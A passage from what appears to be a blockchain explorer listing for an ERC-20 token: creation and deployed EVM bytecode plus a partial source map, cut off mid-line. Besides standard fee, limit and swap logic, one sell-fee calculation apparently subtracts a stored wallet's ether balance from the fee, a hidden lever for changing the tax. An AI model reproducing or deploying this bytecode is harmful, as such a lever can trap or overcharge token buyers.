508e61161757600092505b919e909d50909b509399509197509550909350505050565b60008061163c8385611b33565b9050838110156111855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051f565b6000611698611376565b905060006116a683836117a1565b306000908152600260205260409020549091506116c3908261162f565b30600090815260026020526040902055505050565b6006546116e59083611306565b6006556007546116f5908261162f565b6007555050565b6000808080611716606461171089896117a1565b90611399565b9050600061172960646117108a896117a1565b905060006117418261173b8b86611306565b90611306565b9992985090965090945050505050565b600080808061176088866117a1565b9050600061176e88876117a1565b9050600061177c88886117a1565b9050600061178e8261173b8686611306565b939b939a50919850919650505050505050565b6000826000036117b357506000610465565b60006117bf8385611a94565b9050826117cc8583611be9565b146111855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051f565b600060208083528351808285015260005b8181101561185057858101830151858201604001528201611834565b81811115611862576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058e57600080fd5b600080604083850312156118a057600080fd5b82356118ab81611878565b946020939093013593505050565b6000806000606084860312156118ce57600080fd5b83356118d981611878565b925060208401356118e981611878565b929592945050506040919091013590565b60006020828403121561190c57600080fd5b8135801515811461118557600080fd5b60006020828403121561192e57600080fd5b813561118581611878565b60006020828403121561194b57600080fd5b5035919050565b6000806040838503121561196557600080fd5b823561197081611878565b9150602083013561198081611878565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119dc5781600019048211156119c2576119c261198b565b808516156119cf57918102915b93841c93908002906119a6565b509250929050565b6000826119f357506001610465565b81611a0057506000610465565b8160018114611a165760028114611a2057611a3c565b6001915050610465565b60ff841115611a3157611a3161198b565b50506001821b610465565b5060208310610133831016604e8410600b8410161715611a5f575081810a610465565b611a6983836119a1565b8060001904821115611a7d57611a7d61198b565b029392505050565b600061118560ff8416836119e4565b6000816000190483118215151615611aae57611aae61198b565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611afa57600080fd5b815161118581611878565b600080600060608486031215611b1a57600080fd5b8351925060208401519150604084015190509250925092565b60008219821115611b4657611b4661198b565b500190565b600082821015611b5d57611b5d61198b565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bc85784516001600160a01b031683529383019391830191600101611ba3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c0657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078df4827243243b02059d2c5058754eef41a073dcf70cf23ff70428d3979496364736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b657806398a5c3151161006f57806398a5c31514610391578063a9059cbb146103b1578063c3c8cd80146103d1578063c9567bf9146103e6578063dd62ed3e146103ee578063f2fde38b1461043457600080fd5b806370a08231146102de578063715018a6146102fe578063751039fc146103135780637d1db4a5146103285780638da5cb5b1461033e57806395d89b411461035c57600080fd5b80632fd689e3116101085780632fd689e31461023f578063313ce5671461025557806349bd5a5e146102715780636c0a24eb146102915780636d8aa8f8146102a75780636fc3eaec146102c957600080fd5b806306fdde0314610150578063095ea7b3146101945780631694505e146101c457806318160ddd146101fc57806323b872dd1461021f57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820190915260098152681113d389d50811955160ba1b60208201525b60405161018b9190611823565b60405180910390f35b3480156101a057600080fd5b506101b46101af36600461188d565b610454565b604051901515815260200161018b565b3480156101d057600080fd5b506012546101e4906001600160a01b031681565b6040516001600160a01b03909116815260200161018b565b34801561020857600080fd5b5061021161046b565b60405190815260200161018b565b34801561022b57600080fd5b506101b461023a3660046118b9565b61048c565b34801561024b57600080fd5b5061021160165481565b34801561026157600080fd5b506040516009815260200161018b565b34801561027d57600080fd5b506013546101e4906001600160a01b031681565b34801561029d57600080fd5b5061021160155481565b3480156102b357600080fd5b506102c76102c23660046118fa565b6104f5565b005b3480156102d557600080fd5b506102c7610546565b3480156102ea57600080fd5b506102116102f936600461191c565b610591565b34801561030a57600080fd5b506102c76105b3565b34801561031f57600080fd5b506102c7610627565b34801561033457600080fd5b5061021160145481565b34801561034a57600080fd5b506000546001600160a01b03166101e4565b34801561036857600080fd5b5060408051808201909152600c81526bf09f90bbf09f918ef09f998360a01b602082015261017e565b34801561039d57600080fd5b506102c76103ac366004611939565b61066a565b3480156103bd57600080fd5b506101b46103cc36600461188d565b610699565b3480156103dd57600080fd5b506102c76106a6565b6102c76106fa565b3480156103fa57600080fd5b50610211610409366004611952565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044057600080fd5b506102c761044f36600461191c565b610a00565b6000610461338484610aea565b5060015b92915050565b60006104796009600a611a85565b61048790633b9aca00611a94565b905090565b6000610499848484610c0e565b6104eb84336104e685604051806060016040528060288152602001611c0c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110f6565b610aea565b5060019392505050565b6000546001600160a01b031633146105285760405162461bcd60e51b815260040161051f90611ab3565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061057b57506011546001600160a01b0316336001600160a01b0316145b61058457600080fd5b4761058e81611130565b50565b6001600160a01b0381166000908152600260205260408120546104659061116e565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260040161051f90611ab3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106515760405162461bcd60e51b815260040161051f90611ab3565b6d314dc6448d9338c15b0a000000006014819055601555565b6000546001600160a01b031633146106945760405162461bcd60e51b815260040161051f90611ab3565b601655565b6000610461338484610c0e565b6010546001600160a01b0316336001600160a01b031614806106db57506011546001600160a01b0316336001600160a01b0316145b6106e457600080fd5b60006106ef30610591565b905061058e8161118c565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161051f90611ab3565b601354600160a01b900460ff161561077e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051f565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611ae8565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b9190611ae8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190611ae8565b601380546001600160a01b0319166001600160a01b03928316179055601254610926913091166d314dc6448d9338c15b0a00000000610aea565b6012546001600160a01b031663f305d719343061094281610591565b6000806109576000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e49190611b05565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a2a5760405162461bcd60e51b815260040161051f90611ab3565b6001600160a01b038116610a8f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051f565b6001600160a01b038216610bad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051f565b6001600160a01b038216610cd45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051f565b60008111610d365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051f565b6000546001600160a01b03848116911614801590610d6257506000546001600160a01b03838116911614155b8015610d7757506001600160a01b0383163014155b8015610d8c57506001600160a01b0382163014155b15610fd357601354600160a01b900460ff16610e25576000546001600160a01b03848116911614610e255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161051f565b601454811115610e775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161051f565b6013546001600160a01b03838116911614610efc5760155481610e9984610591565b610ea39190611b33565b10610efc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161051f565b6000610f0730610591565b601654601454919250821015908210610f205760145491505b808015610f375750601354600160a81b900460ff16155b8015610f5157506013546001600160a01b03868116911614155b8015610f665750601354600160b01b900460ff165b8015610f8b57506001600160a01b03851660009081526005602052604090205460ff16155b8015610fb057506001600160a01b03841660009081526005602052604090205460ff16155b15610fd057610fbe8261118c565b478015610fce57610fce47611130565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061101557506001600160a01b03831660009081526005602052604090205460ff165b8061104757506013546001600160a01b0385811691161480159061104757506013546001600160a01b03848116911614155b15611054575060006110e4565b6013546001600160a01b03858116911614801561107f57506012546001600160a01b03848116911614155b1561109157600854600c55600954600d555b6013546001600160a01b0384811691161480156110bc57506012546001600160a01b03858116911614155b156110e457600a54600c55601154600b546110e0916001600160a01b031631611306565b600d555b6110f084848484611348565b50505050565b6000818484111561111a5760405162461bcd60e51b815260040161051f9190611823565b5060006111278486611b4b565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561116a573d6000803e3d6000fd5b5050565b600080611179611376565b90506111858382611399565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d4576111d4611b62565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112519190611ae8565b8160018151811061126457611264611b62565b6001600160a01b03928316602091820292909201015260125461128a9130911684610aea565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c3908590600090869030904290600401611b78565b600060405180830381600087803b1580156112dd57600080fd5b505af11580156112f1573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061118583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f6565b80611355576113556113db565b611360848484611409565b806110f0576110f0600e54600c55600f54600d55565b6000806000611383611517565b90925090506113928282611399565b9250505090565b600061118583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611599565b600c541580156113eb5750600d54155b156113f257565b600c8054600e55600d8054600f5560009182905555565b60115460009081908190819081908190611432906001600160a01b038b811691161415886115c7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114649087611306565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611493908661162f565b6001600160a01b0389166000908152600260205260409020556114b58161168e565b6114bf84836116d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161150491815260200190565b60405180910390a3505050505050505050565b60065460009081908161152c6009600a611a85565b61153a90633b9aca00611a94565b905061156261154b6009600a611a85565b61155990633b9aca00611a94565b60065490611399565b821015611590576006546115786009600a611a85565b61158690633b9aca00611a94565b9350935050509091565b90939092509050565b600081836115ba5760405162461bcd60e51b815260040161051f9190611823565b5060006111278486611be9565b60008060008060008060008060006115e48a600c54600d546116fc565b92509250925060006115f4611376565b905060008060006116078e878787611751565b9250925092508e61161757600092505b919e909d50909b509399509197509550909350505050565b60008061163c8385611b33565b9050838110156111855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051f565b6000611698611376565b905060006116a683836117a1565b306000908152600260205260409020549091506116c3908261162f565b30600090815260026020526040902055505050565b6006546116e59083611306565b6006556007546116f5908261162f565b6007555050565b6000808080611716606461171089896117a1565b90611399565b9050600061172960646117108a896117a1565b905060006117418261173b8b86611306565b90611306565b9992985090965090945050505050565b600080808061176088866117a1565b9050600061176e88876117a1565b9050600061177c88886117a1565b9050600061178e8261173b8686611306565b939b939a50919850919650505050505050565b6000826000036117b357506000610465565b60006117bf8385611a94565b9050826117cc8583611be9565b146111855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051f565b600060208083528351808285015260005b8181101561185057858101830151858201604001528201611834565b81811115611862576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058e57600080fd5b600080604083850312156118a057600080fd5b82356118ab81611878565b946020939093013593505050565b6000806000606084860312156118ce57600080fd5b83356118d981611878565b925060208401356118e981611878565b929592945050506040919091013590565b60006020828403121561190c57600080fd5b8135801515811461118557600080fd5b60006020828403121561192e57600080fd5b813561118581611878565b60006020828403121561194b57600080fd5b5035919050565b6000806040838503121561196557600080fd5b823561197081611878565b9150602083013561198081611878565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119dc5781600019048211156119c2576119c261198b565b808516156119cf57918102915b93841c93908002906119a6565b509250929050565b6000826119f357506001610465565b81611a0057506000610465565b8160018114611a165760028114611a2057611a3c565b6001915050610465565b60ff841115611a3157611a3161198b565b50506001821b610465565b5060208310610133831016604e8410600b8410161715611a5f575081810a610465565b611a6983836119a1565b8060001904821115611a7d57611a7d61198b565b029392505050565b600061118560ff8416836119e4565b6000816000190483118215151615611aae57611aae61198b565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611afa57600080fd5b815161118581611878565b600080600060608486031215611b1a57600080fd5b8351925060208401519150604084015190509250925092565b60008219821115611b4657611b4661198b565b500190565b600082821015611b5d57611b5d61198b565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bc85784516001600160a01b031683529383019391830191600101611ba3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c0657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078df4827243243b02059d2c5058754eef41a073dcf70cf23ff70428d3979496364736f6c634300080f0033

Deployed Bytecode Sourcemap

4217:12720:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6515:83;;;;;;;;;;-1:-1:-1;6585:5:0;;;;;;;;;;;;-1:-1:-1;;;6585:5:0;;;;6515:83;;;;;;;:::i;:::-;;;;;;;;7447:193;;;;;;;;;;-1:-1:-1;7447:193:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7447:193:0;1072:187:1;5473:41:0;;;;;;;;;;-1:-1:-1;5473:41:0;;;;-1:-1:-1;;;;;5473:41:0;;;;;;-1:-1:-1;;;;;1454:32:1;;;1436:51;;1424:2;1409:18;5473:41:0;1264:229:1;6795:95:0;;;;;;;;;;;;;:::i;:::-;;;1644:25:1;;;1632:2;1617:18;6795:95:0;1498:177:1;7649:446:0;;;;;;;;;;-1:-1:-1;7649:446:0;;;;;:::i;:::-;;:::i;5788:57::-;;;;;;;;;;;;;;;;6703:83;;;;;;;;;;-1:-1:-1;6703:83:0;;4463:1;2283:36:1;;2271:2;2256:18;6703:83:0;2141:184:1;5521:28:0;;;;;;;;;;-1:-1:-1;5521:28:0;;;;-1:-1:-1;;;;;5521:28:0;;;5725:55;;;;;;;;;;;;;;;;16191:101;;;;;;;;;;-1:-1:-1;16191:101:0;;;;;:::i;:::-;;:::i;:::-;;12234:235;;;;;;;;;;;;;:::i;6899:138::-;;;;;;;;;;-1:-1:-1;6899:138:0;;;;;:::i;:::-;;:::i;1690:148::-;;;;;;;;;;;;;:::i;16300:111::-;;;;;;;;;;;;;:::i;5666:51::-;;;;;;;;;;;;;;;;1474:79;;;;;;;;;;-1:-1:-1;1512:7:0;1539:6;-1:-1:-1;;;;;1539:6:0;1474:79;;6607:87;;;;;;;;;;-1:-1:-1;6679:7:0;;;;;;;;;;;;-1:-1:-1;;;6679:7:0;;;;6607:87;;15999:139;;;;;;;;;;-1:-1:-1;15999:139:0;;;;;:::i;:::-;;:::i;7046:199::-;;;;;;;;;;-1:-1:-1;7046:199:0;;;;;:::i;:::-;;:::i;11989:236::-;;;;;;;;;;;;;:::i;16419:515::-;;;:::i;7254:184::-;;;;;;;;;;-1:-1:-1;7254:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7403:18:0;;;7371:7;7403:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7254:184;1847:244;;;;;;;;;;-1:-1:-1;1847:244:0;;;;;:::i;:::-;;:::i;7447:193::-;7549:4;7571:39;303:10;7594:7;7603:6;7571:8;:39::i;:::-;-1:-1:-1;7628:4:0;7447:193;;;;;:::o;6795:95::-;6848:7;4803:15;4463:1;4803:2;:15;:::i;:::-;4787:31;;:13;:31;:::i;:::-;6868:14;;6795:95;:::o;7649:446::-;7781:4;7798:36;7808:6;7816:9;7827:6;7798:9;:36::i;:::-;7845:220;7868:6;303:10;7916:138;7972:6;7916:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7916:19:0;;;;;;:11;:19;;;;;;;;303:10;7916:33;;;;;;;;;;:37;:138::i;:::-;7845:8;:220::i;:::-;-1:-1:-1;8083:4:0;7649:446;;;;;:::o;16191:101::-;1602:6;;-1:-1:-1;;;;;1602:6:0;303:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;;;;;;;;;16258:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;16258:26:0::1;-1:-1:-1::0;;;;16258:26:0;;::::1;::::0;;;::::1;::::0;;16191:101::o;12234:235::-;12300:19;;-1:-1:-1;;;;;12300:19:0;303:10;-1:-1:-1;;;;;12284:35:0;;:72;;;-1:-1:-1;12339:17:0;;-1:-1:-1;;;;;12339:17:0;303:10;-1:-1:-1;;;;;12323:33:0;;12284:72;12276:81;;;;;;12397:21;12429:32;12397:21;12429:12;:32::i;:::-;12265:204;12234:235::o;6899:138::-;-1:-1:-1;;;;;7012:16:0;;6965:7;7012:16;;;:7;:16;;;;;;6992:37;;:19;:37::i;1690:148::-;1602:6;;-1:-1:-1;;;;;1602:6:0;303:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;1797:1:::1;1781:6:::0;;1760:40:::1;::::0;-1:-1:-1;;;;;1781:6:0;;::::1;::::0;1760:40:::1;::::0;1797:1;;1760:40:::1;1828:1;1811:19:::0;;-1:-1:-1;;;;;;1811:19:0::1;::::0;;1690:148::o;16300:111::-;1602:6;;-1:-1:-1;;;;;1602:6:0;303:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;4737:8:::1;16352:12;:18:::0;;;16381:16:::1;:22:::0;16300:111::o;15999:139::-;1602:6;;-1:-1:-1;;;;;1602:6:0;303:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;16090:19:::1;:40:::0;15999:139::o;7046:199::-;7151:4;7173:42;303:10;7197:9;7208:6;7173:9;:42::i;11989:236::-;12055:19;;-1:-1:-1;;;;;12055:19:0;303:10;-1:-1:-1;;;;;12039:35:0;;:72;;;-1:-1:-1;12094:17:0;;-1:-1:-1;;;;;12094:17:0;303:10;-1:-1:-1;;;;;12078:33:0;;12039:72;12031:81;;;;;;12123:23;12149:24;12167:4;12149:9;:24::i;:::-;12123:50;;12184:33;12201:15;12184:16;:33::i;16419:515::-;1602:6;;-1:-1:-1;;;;;1602:6:0;303:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;16487:11:::1;::::0;-1:-1:-1;;;16487:11:0;::::1;;;16486:12;16478:48;;;::::0;-1:-1:-1;;;16478:48:0;;5897:2:1;16478:48:0::1;::::0;::::1;5879:21:1::0;5936:2;5916:18;;;5909:30;5975:25;5955:18;;;5948:53;6018:18;;16478:48:0::1;5695:347:1::0;16478:48:0::1;16573:15;;;;;;;;;-1:-1:-1::0;;;;;16573:15:0::1;-1:-1:-1::0;;;;;16573:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16555:69:0::1;;16633:4;16640:15;;;;;;;;;-1:-1:-1::0;;;;;16640:15:0::1;-1:-1:-1::0;;;;;16640:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16555:108;::::0;-1:-1:-1;;;;;;16555:108:0::1;::::0;;;;;;-1:-1:-1;;;;;6533:15:1;;;16555:108:0::1;::::0;::::1;6515:34:1::0;6585:15;;6565:18;;;6558:43;6450:18;;16555:108:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16539:13;:124:::0;;-1:-1:-1;;;;;;16539:124:0::1;-1:-1:-1::0;;;;;16539:124:0;;::::1;;::::0;;16708:15:::1;::::0;16676:54:::1;::::0;16693:4:::1;::::0;16708:15:::1;4737:8;16676;:54::i;:::-;16741:15;::::0;-1:-1:-1;;;;;16741:15:0::1;:31;16780:9;16799:4;16805:24;16799:4:::0;16805:9:::1;:24::i;:::-;16830:1;16832::::0;16834:7:::1;1512::::0;1539:6;-1:-1:-1;;;;;1539:6:0;;1474:79;16834:7:::1;16741:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;16741:117:0;;;-1:-1:-1;;;;;6971:15:1;;;16741:117:0::1;::::0;::::1;6953:34:1::0;7003:18;;;6996:34;;;;7046:18;;;7039:34;;;;7089:18;;;7082:34;7153:15;;;7132:19;;;7125:44;16842:15:0::1;7185:19:1::0;;;7178:35;6887:19;;16741:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;16879:11:0::1;:18:::0;;-1:-1:-1;;;;16908:18:0;-1:-1:-1;;;16908:18:0;;;-1:-1:-1;16419:515:0:o;1847:244::-;1602:6;;-1:-1:-1;;;;;1602:6:0;303:10;1602:22;1594:67;;;;-1:-1:-1;;;1594:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1936:22:0;::::1;1928:73;;;::::0;-1:-1:-1;;;1928:73:0;;7737:2:1;1928:73:0::1;::::0;::::1;7719:21:1::0;7776:2;7756:18;;;7749:30;7815:34;7795:18;;;7788:62;-1:-1:-1;;;7866:18:1;;;7859:36;7912:19;;1928:73:0::1;7535:402:1::0;1928:73:0::1;2038:6;::::0;;2017:38:::1;::::0;-1:-1:-1;;;;;2017:38:0;;::::1;::::0;2038:6;::::1;::::0;2017:38:::1;::::0;::::1;2066:6;:17:::0;;-1:-1:-1;;;;;;2066:17:0::1;-1:-1:-1::0;;;;;2066:17:0;;;::::1;::::0;;;::::1;::::0;;1847:244::o;8671:369::-;-1:-1:-1;;;;;8798:19:0;;8790:68;;;;-1:-1:-1;;;8790:68:0;;8144:2:1;8790:68:0;;;8126:21:1;8183:2;8163:18;;;8156:30;8222:34;8202:18;;;8195:62;-1:-1:-1;;;8273:18:1;;;8266:34;8317:19;;8790:68:0;7942:400:1;8790:68:0;-1:-1:-1;;;;;8877:21:0;;8869:68;;;;-1:-1:-1;;;8869:68:0;;8549:2:1;8869:68:0;;;8531:21:1;8588:2;8568:18;;;8561:30;8627:34;8607:18;;;8600:62;-1:-1:-1;;;8678:18:1;;;8671:32;8720:19;;8869:68:0;8347:398:1;8869:68:0;-1:-1:-1;;;;;8948:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9000:32;;1644:25:1;;;9000:32:0;;1617:18:1;9000:32:0;;;;;;;8671:369;;;:::o;9049:2329::-;-1:-1:-1;;;;;9171:18:0;;9163:68;;;;-1:-1:-1;;;9163:68:0;;8952:2:1;9163:68:0;;;8934:21:1;8991:2;8971:18;;;8964:30;9030:34;9010:18;;;9003:62;-1:-1:-1;;;9081:18:1;;;9074:35;9126:19;;9163:68:0;8750:401:1;9163:68:0;-1:-1:-1;;;;;9250:16:0;;9242:64;;;;-1:-1:-1;;;9242:64:0;;9358:2:1;9242:64:0;;;9340:21:1;9397:2;9377:18;;;9370:30;9436:34;9416:18;;;9409:62;-1:-1:-1;;;9487:18:1;;;9480:33;9530:19;;9242:64:0;9156:399:1;9242:64:0;9334:1;9325:6;:10;9317:64;;;;-1:-1:-1;;;9317:64:0;;9762:2:1;9317:64:0;;;9744:21:1;9801:2;9781:18;;;9774:30;9840:34;9820:18;;;9813:62;-1:-1:-1;;;9891:18:1;;;9884:39;9940:19;;9317:64:0;9560:405:1;9317:64:0;1512:7;1539:6;-1:-1:-1;;;;;9399:15:0;;;1539:6;;9399:15;;;;:32;;-1:-1:-1;1512:7:0;1539:6;-1:-1:-1;;;;;9418:13:0;;;1539:6;;9418:13;;9399:32;:57;;;;-1:-1:-1;;;;;;9435:21:0;;9451:4;9435:21;;9399:57;:80;;;;-1:-1:-1;;;;;;9460:19:0;;9474:4;9460:19;;9399:80;9395:1228;;;9537:11;;-1:-1:-1;;;9537:11:0;;;;9532:144;;1512:7;1539:6;-1:-1:-1;;;;;9577:15:0;;;1539:6;;9577:15;9569:91;;;;-1:-1:-1;;;9569:91:0;;10172:2:1;9569:91:0;;;10154:21:1;10211:2;10191:18;;;10184:30;10250:34;10230:18;;;10223:62;10321:33;10301:18;;;10294:61;10372:19;;9569:91:0;9970:427:1;9569:91:0;9711:12;;9701:6;:22;;9693:63;;;;-1:-1:-1;;;9693:63:0;;10604:2:1;9693:63:0;;;10586:21:1;10643:2;10623:18;;;10616:30;10682;10662:18;;;10655:58;10730:18;;9693:63:0;10402:352:1;9693:63:0;9783:13;;-1:-1:-1;;;;;9777:19:0;;;9783:13;;9777:19;9774:148;;9850:16;;9841:6;9825:13;9835:2;9825:9;:13::i;:::-;:22;;;;:::i;:::-;:41;9817:89;;;;-1:-1:-1;;;9817:89:0;;11094:2:1;9817:89:0;;;11076:21:1;11133:2;11113:18;;;11106:30;11172:34;11152:18;;;11145:62;-1:-1:-1;;;11223:18:1;;;11216:33;11266:19;;9817:89:0;10892:399:1;9817:89:0;9939:28;9970:24;9988:4;9970:9;:24::i;:::-;10048:19;;10112:12;;9939:55;;-1:-1:-1;10024:43:0;;;;10088:36;;10085:124;;10181:12;;10158:35;;10085:124;10230:7;:18;;;;-1:-1:-1;10242:6:0;;-1:-1:-1;;;10242:6:0;;;;10241:7;10230:18;:43;;;;-1:-1:-1;10260:13:0;;-1:-1:-1;;;;;10252:21:0;;;10260:13;;10252:21;;10230:43;:58;;;;-1:-1:-1;10277:11:0;;-1:-1:-1;;;10277:11:0;;;;10230:58;:87;;;;-1:-1:-1;;;;;;10293:24:0;;;;;;:18;:24;;;;;;;;10292:25;10230:87;:114;;;;-1:-1:-1;;;;;;10322:22:0;;;;;;:18;:22;;;;;;;;10321:23;10230:114;10226:386;;;10365:38;10382:20;10365:16;:38::i;:::-;10451:21;10495:22;;10491:106;;10542:35;10555:21;10542:12;:35::i;:::-;10346:266;10226:386;9481:1142;;9395:1228;-1:-1:-1;;;;;10701:24:0;;10636:12;10701:24;;;:18;:24;;;;;;10651:4;;10701:24;;;:50;;-1:-1:-1;;;;;;10729:22:0;;;;;;:18;:22;;;;;;;;10701:50;10700:102;;;-1:-1:-1;10765:13:0;;-1:-1:-1;;;;;10757:21:0;;;10765:13;;10757:21;;;;:44;;-1:-1:-1;10788:13:0;;-1:-1:-1;;;;;10782:19:0;;;10788:13;;10782:19;;10757:44;10696:620;;;-1:-1:-1;10829:5:0;10696:620;;;10913:13;;-1:-1:-1;;;;;10905:21:0;;;10913:13;;10905:21;:55;;;;-1:-1:-1;10944:15:0;;-1:-1:-1;;;;;10930:30:0;;;10944:15;;10930:30;;10905:55;10902:158;;;10993:12;;10981:9;:24;11034:10;;11024:7;:20;10902:158;11120:13;;-1:-1:-1;;;;;11114:19:0;;;11120:13;;11114:19;:55;;;;-1:-1:-1;11153:15:0;;-1:-1:-1;;;;;11137:3